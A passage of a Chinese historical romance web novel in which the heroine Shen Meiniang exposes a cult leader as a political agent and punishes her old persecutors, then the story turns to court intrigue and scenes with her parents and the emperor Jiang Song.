“这枚玉佩如此重要,你在南州时竟给了我……”沈美娘喃喃。 姜颂这个人还真是舍得——像冤大头般舍得。 姜颂没回答她这话,只抱着她,用满是信任意味的依偎回应她。 沈美娘顺势揉了揉他的头。 这日给姜颂喂了药,确定他短时间内不会有事后,沈美娘又去见了那些装神弄鬼的人。 她先见的李振鹤。 陆大人让人把他简单收拾了一番后,才把他带到了沈美娘面前来。 即便如此,沈美娘依旧可以清楚地闻到李振鹤身上的血腥味。 从他脖颈处的伤痕,沈美娘也能猜到底下人肯定对他动刑了。 但这是这人应得的惩罚,她并不怜惜。 若不是颜舜华救了姜颂,这人就算是被车裂而死,都抵不上姜颂的命。 更别说那巫医一家人,那些被他害死的无数亡魂,还有十二岁的沈美娘。 “事到如今,你还见我做什么?”李振鹤问。 沈美娘唇角勾了勾:“当然是为了看你如今究竟有多落魄。” 李振鹤嗤了一声,道:“大不了就是一死,有何可怕的。” “死?”沈美娘轻蔑地笑了笑,“你还不知道吧,沈家因你害死了沈头人,可觉得斩刑都便宜你了。” “这里的人不是都很喜欢动用私刑吗?你们当年不也打算用私刑处死我吗?”沈美娘道。 李振鹤听到“私刑”两个字,心里终于有了些许害怕。 沈美娘很满意他的反应,道:“你也不用太害怕,只是被火烧死而已。和那些被你们献祭给月神的新娘们一样啊,有什么好怕的呢?” “美娘,你不能这么对我。”李振鹤道。 他比谁都清楚,被活活烧死会有多痛苦。 李振鹤试图来攀扯沈美娘,却被下人死死按住:“我当年只是鬼迷心窍,你知道的……我是喜欢你的,你死了以后,我还给你栽了梨花树……” “原来你喜欢我啊。”沈美娘好像被感动了般,“不过你既然说你喜欢我,那就证明给我看吧。” 李振鹤以为沈美娘这是打算放过他,心中有片刻欢喜。 谁知,沈美娘微微俯身:“你被他们烧死的时候,若也能一言不发,那我就相信,你是喜欢我的。” 李振鹤愣了片刻,才明白过来沈美娘压根就没打算放过他。 “美娘,你不能这般对我,你知道的……” 沈美娘捂了捂耳朵,差役就立刻将李振鹤的嘴堵上,让人将他带了下去。 喜欢吗? 沈美娘当初确实不知道李振鹤那个眼神是喜欢。 可她后来也在沈温、姜颂两人的眼中都见过相似的眼神。 沈美娘才知道那种单纯幼稚,不沾染欲/望的眼神是喜欢。 可惜在这三人里,只有姜颂的喜欢,她认为可以称得上喜欢。 沈美娘又叫人将仙师带了进来。 和李振鹤相比,仙师可能知道沈美娘恨透了他, 从进来起没向她求饶。 沈美娘也不恼:“仙师,你不是话一向很多吗?怎的今时今日,反而像是成了哑巴。” “哼,你这孽种,当年我若不是一时心软,你早就被摔死了。”仙师道。 “你心软?”沈美娘眯了眯眼,“当年不就是你炼丹的‘原料’不够了,你才对外宣称我是被月神降罪的孩子吗?” 若不是这人,她从一开始根本就不会背上这般罪名。 这人却还敢大言不惭说他心软。 “是我阿爹当年提了菜刀,站在产房外,打算以命相搏。又有我娘散尽我外祖父母留给她的家财,全捐给了你们月神庙,才让你最后松口——说是只要我们一家人都搬出寨子,月神就不会迁怒其他人。”沈美娘道。 除了献祭的勾当,这仙师素来就喜欢编各种罪名给寻常人家。 他不敢惹族里的大户,尽挑贱民和没什么地位的佃农们下手,还有就是像她阿娘这样爹娘早逝、无依无靠的。 “那又怎么样?你们这些人,本就命如草芥。我把你们的血炼作丹药,倒叫你们有了几分身价。来世,兴许也能投个好人家。”仙师依旧冥顽不灵。 沈美娘听到这人都到这份上,竟然还是这套话,倒好像他这人是什么高高在上的贵人般。 和从前叶司马、李守义等人穷途末路时,与她说过的话,竟是那般相似。 她心里忽然有了个猜测。 沈美娘故意道:“怎的?仙师这么看不上寻常人,难道你就不寻常?” “那是自然,我乃侍奉月神之人,岂是你们这些蝼蚁可以相比的。”仙师冷哼一声。 “是吗?”沈美娘反问,“也还有另一种可能,或许,仙师你确实和我们这些蝼蚁都不一样。也许你是贵人呢?” 仙师眼里闪过一丝慌乱:“你说什么,我听不懂。” 沈美娘继续解释:“这里的人从前虽也信奉月神,但并没有那般多详细的规矩,直到仙师为此写了书,还在这二十几年里收了不少弟子。” 沈美娘小时候大字不识,不知道那些书的来源。 但她如今去了南州,也去了京城,更别说青词、李姮都是笃信道法之人。 沈美娘当然也对佛、道都有所了解。 她知道那些书里关于月神的很多东西,其实都是直接从道家与佛家的书里抄来的。 可是这小小的十八寨子,如此封闭,仙师该是从哪里得知的呢? 更何况能借助这两家的书,就能独立给所谓“月神”自圆其说,编写经典,也可见他的文学功底。 寻常人可没这般多的学识。 沈美娘道:“只有一种可能,仙师,你恐怕也曾是高高在上的贵人吧。” “让我猜猜,你也许曾是某位大人安排在西南的棋子吧,只是你没想到那位大人的谋算扑了空,还打算把你们全这些棋子全都抛弃。”沈美娘顿了一下,“那位大人,就是谢阁老吧。” 那些零零碎碎的东西,终于在此刻被沈美娘拼到了一起。 “约莫二三十年前,谢阁老派你到西南蛰伏——应该也不止你一人。他想攫取西南的权柄,却没想到二十多年前的先帝遇刺回京后,很快以铁血手段清洗了朝堂。幸好,当时你们还没有什么举动,便继续蛰伏起来。”沈美娘道。 沈美娘盯着仙师,见他脸上一闪而过震惊神色,就知道她没说错。 “古往今来,想要煽动百姓,最好用的办法,就是利用神鬼之道、谶纬之说。你们这些人终于在九年前利用这些民间信仰,煽动民变,引祝羽将军平叛,栽赃他与流民勾结,有割据西南之意。”沈美娘道。 从一开始,谢阁老的这个局就做得很全。 若祝羽不去镇压流民,谢阁老可以参他和蜀王一个渎职的罪名,打压支持姜颂的蜀王。他还可以顺势利用先帝病重的契机,推荐谢党军将前往平叛,将手伸进西南。 若祝羽去了,他只要不答应与谢党人同流合污,谢阁老也可以利用祝羽不知民变真相,先下手为强,反诬他有谋反割据之心。 所以,谢阁老无比确定,祝羽会答应与他一起诬陷蜀王有谋反之心。 只是谢阁老没想到祝羽不仅没有答应这件事,甚至蜀王也很快察觉其中不对,让他的计划付诸东流。 最后谢党只能用下下策,把一切都推到祝羽身上。 而其他的棋子,像仙师这样知道的太多的就注定活不了。 不过,可能是那些沾满人血的药丸,实在是太受贵人们的欢迎,值太多的金子。 也可能是仙师不是民变时最重要的策动者。 才有人为了利益,保下了这仙师。 仙师强撑镇定:“你在胡说些什么?我可听不懂。” 沈美娘也知道这人能活到现在,能把十八寨子的头人、寨老都耍得团团转,绝不会是那么好套话的人。 她轻笑一声,语气依旧温和:“听不懂没关系。仙师听不懂,可你身上的每一块骨头都记得。” 仙师感觉一股寒意蓦地缠绕上他:“你什么意思?” “这世上凡是做过的事,就一定会有证据,只是有的证据显而易见,有的需要深入寻找。”沈美娘笑意更深,“仙师从前做过贵人,你的手若是常年握笔,亦或是握剑,就算你自己忘了,你的骨头也肯定记得。” 她歪了歪头:“仙师记得田幼安吧,你放心,幼安是很好的仵作,验死人都轻轻松松,更别说验活人了。” 仙师想起曾见过田幼安的那些给尸体“开膛破肚”的工具,吓得脸色惨白。 沈美娘看他这样,知道时机来了,立刻道:“不过,你若是自己招了,我肯定就不必让幼安忙活了。” 她见仙师迟疑,继续蛊惑道:“你既然曾是贵人,那肯定知道李守义吧?我扳倒了他,可是他夫人为我出力,我可是留了他性命的,连她女儿我都封了公主。” “你是沈贵妃?”仙师震惊道。 民间只知道陛下封了一个低贱的沈姓女做贵妃。 山水迢迢,仙师从没想到那人就是沈美娘。 但若是如此,也就不难解释为何连刺史大人都对她如此恭敬了。 沈美娘娇娇地笑了笑,温柔道:“你看我这人可是说到做到,只要你好好交代,我定会放过你。” 仙师沉思了许久,才道:“你说的,确实是对的。” “你究竟是何人?”沈美娘问。 仙师:“我姓郑,单名一个‘悦’字,乃是荥阳郑氏的子弟。” 沈美娘摇头:“你是哪一房哪一支的子弟?” 仙师说了他是哪一支。 沈美娘追问:“可有证物?” “我当年的过所和户籍文书全都在月神像下埋着。”仙师道。 沈美娘立刻吩咐人去挖。 “你是不是现在可以放了我……”仙师问。 沈美娘的手指摩挲着小指上的戒指,道:“不急,我得看看你说的究竟是真是假。” 她等了约莫两个多时辰,差役才将挖到的东西给她过目。 确实如仙师所说。 沈美娘冷冷扫过满眼期待的仙师,语气平淡:“把他拉下去。” 仙师反应过来:“你竟然骗我!” “那又怎么呢?不行吗?”沈美娘道。 “你这般言而无信, 被旁人知晓了,日后还指望谁替你卖命。“仙师冲她吼。 沈美娘闻言,起身走到仙师面前:“我只需要对人言而有信,至于贪得无厌的恶鬼,我可不需要。” 沈美娘捏住仙师的下颚:“不过你提醒我了,确实不能叫人知道——” “来人,把他的舌头割了。” 这条搬弄是非、颠倒黑白,害得无数人家破人亡的舌头确实不能多留。 第72章 第72章戳破身份后,丈母娘更讨…… 上京,谢府。 谢阁老命人将新修好的国史送到史馆,才看向已在门外等了许久的郑愔。 谢阁老:“你是来和我说沈贵妃的事?” “老师您已经知道了。”郑愔道。 谢阁老轻笑:“等你们把消息递给我,恐怕那女人和陛下都该回京了。” “是学生们做事不力。”郑愔擦了擦额头上的冷汗,忙道:“但学生也没想到那女人竟有这般本事,竟真的能把这桩案子查出来……老师,您说该不会沈温和她有私情吧?不然怎会……” “你觉得沈温那样的人,会为了儿女私情连自己的前途都不顾?”谢阁老反问。 沈温这个人连对他有知遇之恩的人都可以弹劾,还能为了个叶党的女人犯糊涂? 郑愔想了片刻,也认为谢阁老说的有道理。 他想起这次沈贵妃翻案时,牵扯出来的淫祠邪寺,问:“老师下面人总给您送仙丹妙药,不知道这次可有牵扯到您。” 谢阁老淡淡道:“底下人懂事,自然知道礼物送出去了,什么罪,他都得自己认下。” 他揉了揉眉心:“再说,去年我生辰,收的礼快堆了好几座小山——谁知道哪个是谁送的。” 郑愔明白此次事件没有牵扯到谢阁老,道:“老师,您无碍,学生就放心了。” 谢阁老似笑非笑,摸了摸膝盖上的护膝:“这次没扳倒那个沈贵妃实在可惜。” 他发觉窗外的风雪又大了许多,看着白茫茫的天地喃喃:“先帝原本是个好孩子,最听我这个舅舅的话,也不知道为何掉了次山崖,回来后就跟变了个人似的。” 郑愔对谢阁老这话并不赞许。 先帝幼年登基,当年朝政被大谢太后和谢阁老把持。 先帝会遇刺坠崖,本就是大谢太后认为这个儿子年纪渐长,羽翼渐丰,想除掉他,扶持小儿子登基继续做谢家的傀儡。 先帝十八岁前朝政都被以谢家为首的世家和开国勋贵们把持,他当然得处处听谢阁老的话。 待他手里有了可用的人,自然不会再任人摆弄。 郑愔自然不敢把这些说出来。 “吵着闹着要废了明仪,封一个出身卑贱的流民做皇后。也不知道是不是那下贱的流民污了皇室血脉,这小皇帝竟比他还要不知好歹。”谢阁老叹气。 郑愔忽然品出谢阁老话中未尽的意思,试探问:“若是能换个流着谢家血脉,更听阁老您话的孩子就好了。” 谢阁老颇为遗憾:“你以为老夫不想?当年先帝也是够狠,为了能叫那小皇帝的太子之位稳固,竟杀了明仪的儿子——虎毒尚不食子,先帝倒是比山中的猛虎还要心毒。” 这事郑愔也知道。 当年小谢太后被废,幽禁东都行宫,先帝去探望过几次,就有了孩子。 谁知小谢太后的孩子刚落地就没了气息。 虽对外宣称是胎里不足夭亡,但谁能猜不到先帝就是为了给当今陛下铺路,才把小谢太后的孩子杀了。 “若是咱们手里有自己的皇子,又何至于如此被动。”谢阁老道。 郑愔明白谢阁老是把话递给他回答,忙道:“老师,还有一人。” 谢阁老悠悠看过来。 郑愔把谢阁老想要的答案递上:“章敬皇后不是还有一子……” 章敬皇后是先帝生母大谢太后的谥号。 他压低声音:“当年章敬皇后谋逆不成,先帝虽幽禁了她,又以大不敬之罪赐死了同胞幼弟潞王,但并未祸及家人。” “宁王殿下乃潞王之子,潞王妃出身清河崔氏,也是极清贵的门第。宁王殿下性子温和,未尝不是个好选择。”郑愔道。 谢阁老点头:“也是有理。” 先帝忌惮潞王这一支,虽未诛及潞王妻儿,但素来都很是警惕宁王,从没给这个侄子放一星半点儿权力。 这样的人确实是再合适不过了。 “就是差个时机了。”谢阁老摩挲着他的护膝,“慢慢等着就好。” 想来也是报应。 姜颂那个流着低贱之人血的杂种,从小身子都不大好。 谁知道他能活多久呢?再说——他身子不好,就算是哪日突然暴毙,不是也能说得通吗? 谢阁老走到窗前,望着上京的鹅毛大雪,问:“你说西南下雪了吗?” 郑愔讪笑,只道:“老师您注意身子,别离窗那般近,小心飘雪。” 谢阁老漠然不说话,只看着他手上,在茫茫白雪映衬下,更加明显的点点黑斑。 他知道,这是衰老和死亡的表现- “沈夫人,下雪了,您没有拿伞。”沈温追上来给沈美娘送伞。 沈美娘瞥了一眼他手中的伞,缓缓摇头:“我不喜欢下雪的时候打伞。” “这样……”沈温握紧伞,勉强挤出一个笑,“我家的旧事,这次多亏了你。” 沈温当年家中出事时,他也只是在慌乱中,听父亲与他交代了陷害他家的人是谢阁老。 但他对于谢阁老究竟是如何陷害祝家的并不清楚。 当年之事,谢阁老又处理得实在太过干净,他这些年也只能猜测民变是谢阁老一手策划,却迟迟没有真凭实据。 但沈美娘却将他家的事,查了个清清楚楚。 沈温是发自内心感谢沈美娘——无关情爱。 “你是我的属下,我这人从来不亏待给我卖命的人,这是你应得的。”沈美娘道。 沈温看沈美娘这样云淡风轻的样子,心里像是被什么猛地撞了一下。 不同于从前对她因保护欲萌生的喜欢,在这一刻,沈温好像才真正喜欢上眼前的人。 沈美娘看出了沈温眼里的爱慕,和他从前看她的眼神不太相同。 似乎有些像姜颂看她的眼神。 沈美娘转身欲走,沈温喊住她,默了一下:“美娘,我本来单名一个‘凌’字。” “你就是沈温,至少目前你只能是他。不要把你是谁挂在嘴边,你的话若是被谢党人听去了,我可不确定我有能力能保住你。”沈美娘直接道。 沈温失落地应下:“好。” 沈美娘这次毫不犹豫地离开,沈温也没有再唤她,只默默望着她的背影。 沈美娘当然知道沈温刚才那句话里藏着的爱意。 她当然不可以回答。 “美娘,下雪了!”姜颂突然出现在沈美娘面前。 沈美娘观察着雪地上的脚印,问:“你刚才又在偷听?” 这人全身上下哪里都好,就是改不掉爱偷听这个坏毛病。 姜颂却不承认:“才没有。” “我来陪你玩雪、接你回家的,谁知道你们在讲话啊……可是我要是听一半就走,万一误会了怎么办?”姜颂自有他的道理。 小说里就是这么写的,男女主都只偷听了一半,然后就误会了一辈子错过了。 姜颂是不愿意和沈美娘误会才继续偷听的。 沈美娘戳了戳姜颂毛绒绒的帽子,道:“你吃沈温醋就直说,要是和我说话的是沈志、李洵风,你早就走了。” “才没有!”姜颂握住沈美娘玩他帽子的手,又在她促狭笑意里败下阵来,“好吧,兴许是有点吃醋,但就……一点点。” 沈美娘道:“真的只有一点点吗?” “不然呢?美娘,你说你不会喜欢别人了啊,你只喜欢我,这可是你自己说的。你不许反悔!”姜颂道。 沈美娘没想到姜颂说话这般直接。 她有些无奈地点头:“我当然只喜欢你一个。” 下次还是不逗姜颂了,他急起来,说话总是格外真诚,倒叫她心里愧疚了。 沈美娘指了指他的帽子,转移话题:“这是我娘给你做的吗?” “嗯!”姜颂用力点头,“七娘的手艺真好,这帽子又暖和又舒服。七娘给美娘你也做了,我的帽子就是给你做帽子时,剩下的边角料做的。” 姜颂把袖子里沈美娘的“新帽子”取出来递给她。 可惜,美娘喜欢梳高髻,这个帽子她现在暂时戴不上。 沈美娘摩挲着手里的帽子,眼神温柔。 小时候阿娘也给她 做过很多帽子,她曾以为这辈子都再没机会戴上了。 沈美娘把帽子揣进袖中,对姜颂道:“我娘,现在应该还挺喜欢你的。” “真的吗?”姜颂高兴得好像要跳起来,“我还以为七娘会很讨厌我。” 沈美娘帮他理了理帽子:“我娘最讨厌做女红了,这辈子她就给我、我爹,还有我外祖父母做过。你说我阿娘是讨厌你,还是喜欢你?” 姜颂闻言,绽开一个笑容。 他又有些不好意思地挠头:“我看七娘总说我做事不勤快,我还以为她讨厌我。” “我阿娘就是刀子嘴豆腐心,她要真讨厌你,早就把你赶出我家了。”沈美娘道。 姜颂听到这些话,美的都快晕过去了。 沈美娘看他这样,也不由跟着勾了勾唇。 姜颂乐完以后,又想到乐不出来的事:“美娘,咱们是不是快要离开思州呢?” 这次回思州本就是为了查案子,如今既然美娘的事情好了,他们当然得赶快回上京去。 况且,他的身体还……他得在三个月内,把要做的事都抓紧时间做了。 沈美娘点头。 姜颂有些担忧:“可是今日我看七娘都在准备过年的吃食了,咱们该怎么解释?” “这个不难。”沈美娘这段日子就在想该怎么把谎圆上去,“就说年关将至,咱们还得回上京料理生意,明年待开春雪化了,就将他们都接进上京去。” 姜颂担心:“可是,美娘你不是不愿意二老,知道你这些年的经历吗?” “这就得看你了呀。你下令不许人告知他俩我们的真实身份,就不会有任何人敢多嘴。”沈美娘道。 姜颂跟着点头。 两人回家时,饭已经熟了,七娘忙让沈美娘坐下。 她嗔道:“你这孩子,人家江江都知道下雪了天冷,戴了帽子,你倒是不知道。” 沈美娘软声说了好几句话,才哄得她阿娘不再念叨他。 沈美娘看桌上都是她小时候在家里爱吃的。 她主动提到:“阿娘,我和姜颂可能过几日,就要离开这里回上京去了。” 七娘把饭碗放下,沉默地看了眼沈美娘,最后把目光落在姜颂的头上。 她心里又不高兴起来:“你这小子,都进了屋,还戴你那帽子做什么?” 姜颂连忙把帽子摘了。 沈美娘也乖乖坐好,不敢多说话。 沈文在旁边小声帮腔:“孩子成婚了嘛,肯定是要……” “闭嘴。”七娘狠狠剜了一眼沈文。 七娘对沈美娘道:“你先吃饭。” 她起身,冲姜颂撂下一句:“跟我来。” 姜颂不敢怠慢,连忙放下碗筷跟了上去。 沈七娘将姜颂带到屋前不远处的空地,确定沈美娘没有跟上来后,问:“你究竟是什么人?” 姜颂张口想说话,又听到七娘道:“别和我说你是什么商人,我可不信你这话。” “这次美娘翻案的事,我全都听说了,那可是刺史大人和侍郎大人,这得是多大的官?怎么可能无缘无故来给我家美娘翻案。”七娘道。 “再说,”七娘上下打量了一圈姜颂道,“你可不像个商人,你是不是什么大官之子,才有这般大的本事?” 姜颂有些不解:“您如何知道的?” “美娘是我身上掉下来的肉,她眼珠子一转,我就知道她在想什么。”七娘红了眼眶,“她、她这些年是不是吃了很多苦,不愿意让我知晓,怕我伤心难过,我就知道……不然她怎么会成现在这副模样。” 姜颂点头,又用力摇头:“七娘,美娘确实吃了一些苦,我不能骗您。但我向您保证,从今以后,我绝不会再叫她任何苦。” 七娘看他这呆呆笨笨,却又真诚的模样,大抵也明白了女儿究竟为何喜欢他了。 她擦了擦眼角的泪,道:“你最好说到做到。” “那是自然。我若是做不到,便叫我不得好死。”姜颂立刻道。 “我可不信发誓这种东西,但你若是敢负了我家美娘,我定亲手结果了你。”七娘道。 她看了眼门前的大黄,大黄也跟着冲姜颂叫了好几声。 七娘道:“再把你剁了喂狗。” 姜颂毫无惧意,珍重道:“我绝不负美娘,否则不必脏了您的手,我自己就会自行了断。” 七娘轻嗤一声,又问:“你究竟是何人?” 姜颂愣了一下,才道:“七娘,我其实是皇帝。” 第73章 第73章大馋丫头和大馋小子的雪…… 沈美娘也不知道姜颂被她娘喊出去说了什么,两人迟迟不归。 她爹看她这样,给她夹了菜:“别担心了,你还不知道你娘吗?她要真讨厌宋江江这孩子,早把他赶出去了。” 沈美娘点头,给她阿爹也挑了他爱吃的菜,还给阿娘的碗里挑了她爱吃的菜。 但她的目光还是时不时向门外看去。 沈美娘不知不觉就给她娘挑了很多菜了, 她娘也终于带着姜颂又进来了。 她娘的脸色很差,看姜颂的眼神好像更不高兴了,但又像是不得不压抑。 “娘,你坐。”沈美娘拉着她娘坐下,把碗递到她手里。 七娘看了沈美娘一眼,又看了眼碗里堆成小山般的饭菜。 她还是舍不得凶女儿,也舍不得让女儿难过。 七娘道:“先吃饭吧。” 沈美娘看她娘没那么生气,又转头想问姜颂两人到底说了什么,就听到七娘又道:“让你先吃饭,黏黏糊糊做什么?又不差这一会儿。” “好。”沈美娘连忙端起碗,低头老老实实吃饭。 七娘看她这样,眼眶又红了。 这孩子从小就爱闹腾,小时候吃饭就不老实,给她一个人做了肉饼,她也喜欢拿去给朋友们分着吃。 他们家从来不在吃穿上亏待她,她小时候吃饭都喜欢挑挑拣拣,结果现在长大了,反而什么都吃了。 七娘想到姜颂说了沈美娘在南州的经历,还是忍不住难过。 她的幺幺这些年,在外面竟吃了那么多苦。 吃完饭,姜颂和沈文收拾碗筷去了,七娘看着沈美娘,伸手摸了摸她的脸。 沈美娘心里隐隐猜到,姜颂可能和七娘说了实情,问:“七娘,他……” “他都和我说了。”七娘道。 “啊——这个宋江江,就知道他靠不住,就不该让他刚才出去。”沈美娘小声嘀咕。 “怎的?你还打算继续骗我吗?”七娘戳了戳沈美娘的脸。 沈美娘摇头,撒娇讨饶:“我才不敢骗阿娘。” 七娘揉了揉沈美娘的头,眼神温柔:“你和宋公子好好的,阿娘就放心了。” 沈美娘也没想到她娘一点都没有她预想的难过,点了点头,乖乖在她阿娘怀里蹭了蹭。 一直到她沈美娘和姜颂离开后,七娘才忍不住哭了出来。 沈文在旁边给她递了手帕,问:“宋江江和你究竟说了些什么,你怎的哭了?” 要是那个宋江江当真如此叫七娘难过,她怎的又刚才不臭骂他一顿。 七娘擦了擦泪,把姜颂交代的美娘这些年的事和他的真实身份全都告诉了沈文。 “宋江江和我说,美娘是叶丞相献给他的,是叶丞相的义女,这些年在外面吃的苦不多,可是……” 七娘泣不成声。 可是如果当真没有吃什么苦,为何这些日子美娘要瞒着他俩。 要不是她觉得不对劲儿,这两人恐怕还打算继续瞒下去。 沈文也红了眼眶,又心疼七娘:“那你为何不直接和美娘说清楚?” 七娘摇头:“既然美娘不想咱们为她难过,又何必说出来,让她回忆起那些痛楚。” 就像她和沈温早就发现女儿那根消失的第六根手指,却都没有说出口一样。 不论美娘是为何选择断指,又是因何断指,再提起,都只会让她回忆起断指那时的痛苦。 不如将它彻底遗忘。 沈文觉得有理,轻轻拍了拍七娘的肩,陪在她身边。 另一边的沈美娘牵着姜颂的手,走在回寨子的路上。 她已经向姜颂了解清楚了,他和七娘究竟说了些什么。 沈美娘不解:“你当真就只说了你的真实身份,还骗我阿娘,我从蜀中离开后就到了南州,还被叶丞相认为义女呢?” 姜颂点头:“真的!我没说你在叶司马府上的事,更没提你之前逃荒的事,七娘肯定不会很难过的。” 沈美娘又沉思了许久,才道:“不——我阿娘可能也猜到了。” 毕竟得多好的运气,才能让她离开蜀中后,刚到南州就正好遇到叶丞相回家探亲,还把她认为义女? 她阿娘谨慎,知道的也多,姜颂的这些话骗骗寨子里其他人,骗她阿爹都有可能,但她阿娘是绝对不可能被这种谎话给骗到的。 姜颂惊讶的“啊”了一声,问:“那要回去吗?” 沈美娘转过身,看着山顶上已经变得很小很小的茅屋。 但阿娘在茅屋前挂了灯笼,即使隔了这么远、这么远,茅屋只剩一点,那点点光却仍旧明亮着。 沈美娘摇头:“阿娘不想我知道她难过,那我就不知道好了。” 她握住姜颂的手,他的手还是暖洋洋的。 这个人的手在夏时最热的时候是温暖的,在冷得人牙齿打颤时也还是暖洋洋的。 跟个会走路的小太阳一样。 “宋江江,我从前很厌恶过这个世界过。”沈美娘开口。 也许是因下了雪的缘故,她说话的声音明明不大,却在空阔的山谷里,显得格外清晰。 姜颂轻轻“嗯”了一声,打算很认真地倾听沈美娘接下来要说的话。 沈美娘却先忍不住笑出声,打岔道:“你这是做什么?我又不是要谈什么治国之策。” 她伸出被姜颂“四季如春”的手,也捂得暖和的手,捏了捏他的脸:“不用太紧张。” 见姜颂终于不是一副如临大敌的模样,沈美娘才继续道:“我那时候真的很讨厌这个世界,我巴不得所有人都去死,沈温、叶随、叶司马、李振鹤……所有所有,我讨厌的,亏欠我的人,都去死。” “可我后来渐渐的,好像也没那么想他们去死了。”沈美娘垂下眼睫,“我也想过,是不是我太没出息了,才会这般容易原谅旁人,忘记那些痛苦的回忆。” 她看着手上提着的灯笼,在路上投下的暖黄明光,又想起刚才回头时看到的那盏灯笼。 沈美娘:“宋江江,你知道为何我阿娘每晚都要在屋前挂灯笼吗?” 姜颂摇头。 “我小时候也很不理解,一年到头的蜡油多贵啊,灯笼坏了修补起来也可多麻烦了,前前后后的钱加一块都够给我裁一身新衣裳。”沈美娘回忆起小时候的事,目光都变得温柔起来。 “阿娘就和我讲,我们住的这个山离寨子还远,过路的商队和行人,看到这里有光,就可以过来讨口水喝,也能知道离寨子到底还有多远。”沈美娘道。 姜颂看着沈美娘此时此刻被灯笼昏黄的光拢着的模样,被她深深迷住。 沈美娘的眼里是点点明光,她看着姜颂道:“我现在才明白,我会那么容易放下仇恨——至少不会被仇恨蒙蔽、吞噬,可能是因为在更早的时候,阿娘阿爹就用别的东西把我填满了。” 那种东西大概就是爱,是善良。 在沈美娘什么也不懂的时候,她就从爹娘身上习得了这种本能。 姜颂怔怔然看着沈美娘。 谁能不喜欢眼前的姑娘呢? 即使她看似张牙舞爪,即使她似乎尖锐势力,可只要稍稍靠近一些,就会被她身上充盈到溢出的“爱”感染。 沈美娘看姜颂不说话,捏了捏他的手:“你怎么又呆呆的?” 姜颂这才反应过来,实诚道:“我就是觉得美娘你很美,人美心更美。” 沈美娘勾了勾唇:“你这是什么话,听着像是什么酒肆卖酒的自夸词儿。” “就是美!美娘是天底下,最最好的小娘子。”姜颂看着她。 他的眼眸格外浓黑,在这漫山遍野的“白”里,也就显得他的话很有说服力了。 沈美娘耸肩:“那当然,我可是沈美娘,我就是天底下最漂亮、最聪明、最勇敢的人。” 两人又一路闲聊着回去,期间姜颂还差点一个不注意摔倒在地上。 沈美娘伸手忙拽了他一把,才叫他不至于摔倒。 姜颂有些不好意思地抿了抿唇,道:“美娘,也是天底下最眼疾手快的小娘子。” 沈美娘对别人夸她都很受用,又点点头。 回寨子的路上,两人还遇到了田幼安,她给沈美娘送了她家今年做的腊肉。 沈美娘回到客栈,又听闻丽娘的娘,也就是她的姨母也给她送了腊肉来。 她看着姨母送的腊肉,垂下眼睫,也不知道在想些什么。 姜颂问:“美娘,你是不高兴吗?要不,我把这些东西送回去……” 沈美娘摇头:“就是想起了一些小时候的事情。” “什么?”姜颂追问。 沈美娘拨开装肉的油纸,里头果然也有她小时候爱吃的别的零嘴。 她道:“小时候寨子里的人都说我是孽种,但小姨一家私底下其实还是很关照我们家的。” “其实也不只是他们。田幼安家里人待我也很好,幼安的兄长还教过我防身的拳脚功夫。寨子东边的屠户,虽也很怕我这个孽种克着他,但也从不会在我买肉时缺斤少两。教本族文字的先生不收我这个徒弟,但看我偷听,也都是上完课了,才假意刚发现我,赶我走……” 沈美娘顿了一下:“这里的人不是本性有多坏,他们只是真的太愚昧了。” 但爱会让人生出质疑权威,悖逆神灵的力量。 强大者,如她阿娘是如此。 徘徊者,如丽娘也是如此。 沈美娘拿起一块炙肉,分成两块,一块给了姜颂,一块塞进自己嘴里。 她嚼了嚼,果然还是记忆中的味道。 沈美娘道:“其实不怨他们,应该怪这个时代。” “若有一日,一桥飞架南北,或将天堑变通途,让封闭保守的人们看到外面宽广的天地;若有一天,人人都能识字读书,能知天有多高,地有多广,知道这世上根本没有神仙鬼怪。这里自然不会再蒙昧。”沈美娘倚着窗向外看去。 窗外的雪色、月色,屋中围炉的火苗、灯笼的烛火,都在她眼中汇聚。 姜颂不由看得出了神。 沈美娘约莫是察觉到了他的眼神,又向他看了过来:“我从来都不讨厌这里,我只愿倾尽一生,能将这里改变得多一点。” 姜颂:“你一定可以做到的。” 沈美娘失笑,也没再说什么,又分了一块肉,晃了晃:“你还吃不吃?” 等姜颂过来,她又故意将手举高,趁机亲在他脸上。 沈美娘看姜颂错愕的样子,笑道:“真好骗。” 她又拿着肉在他眼前晃:“吃不吃?” 姜颂点头。 沈美娘这次没再逗他,将手里的肉递到他手里。 姜颂却把肉递到她面前。 沈美娘没有多想,弯腰去吃,姜颂却一口亲到她脸上。 沈美娘把肉咽下,听到姜颂的声音:“你也真好骗。” 他眉梢轻佻,双手环在胸前看她,很是得意。 沈美娘用力咀嚼嘴里的肉。 宋江江,还真是越来越……活泼了。 第74章 第74章身后事。 南州的事暂告一段落,李振鹤被族里的人用私刑活活烧死了。 陆大人在李振鹤被动刑前,特地来问了沈美娘的意见。 沈美娘淡淡笑了笑:“这事便当我不知道,陆大人也当不知道罢。” 都道国有国法,但在这偏僻的边角,多的是国法管不到的事情。 李振鹤助纣为虐,害死过那么多姑 娘,如今不过是因果报应。 陆大人明白了沈美娘的意思,就任沈家人为了给沈头人报仇,把他人带走了。 至于仙师则因为还有用处,被继续看管起来。 至于其余仙师的弟子们,还有当年做了伪证的人,也都依大燕律法判了罪。 姜颂如今剩下的时间不多了,沈美娘也得和他尽早赶回上京去。 离开这日,七娘和阿爹特地来送了她。 “你到蜀中,到上京了,都得给我和你爹写信来,你听到没有。”七娘握着沈美娘的手道。 沈美娘点头:“阿娘,你放心,我肯定不会忘记的。” 七娘听到这话,眼里的泪却忽地掉了下来。 她总害怕沈美娘这次会像八年前那般,突然就离开,也不知道她在何处,究竟是死是活。 七娘更害怕,一觉醒来,发觉这些日子,都只是她的一场梦。 沈美娘像是看出了七娘的想法。 沈美娘握住七娘的手,搭在她的脸上:“娘,我向你保证,一定会来信的。” 她又看了眼姜颂:“等我们一回上京,姜颂就会下旨,封赏你和爹爹。说不定来宣旨的公公,该比我写的信件来的还快!” 沈美娘让人把她这些年攒的各种奇珍异宝搬上来。 “娘,这些是西域来的宝石,你可以拿去做成簪子、戒指,一天换一支都不重样。这个是太医院开的膏药,治冻疮很有用的,你和阿爹都可以用……”沈美娘一件件地给阿娘解释。 她之前担心被阿娘看出不对劲儿,好多东西都不敢给她娘说,这下终于可以和她娘说了。 姜颂在一旁看着那些东西,才终于明白沈美娘在南州时,为何很宝贝她的那几个大箱子了。 不仅是因为它们价值连城,更因为那是沈美娘给她爹娘准备的。 七娘看沈美娘这样,道:“你这孩子,自己用就是了,别什么都想着我和你阿爹。” 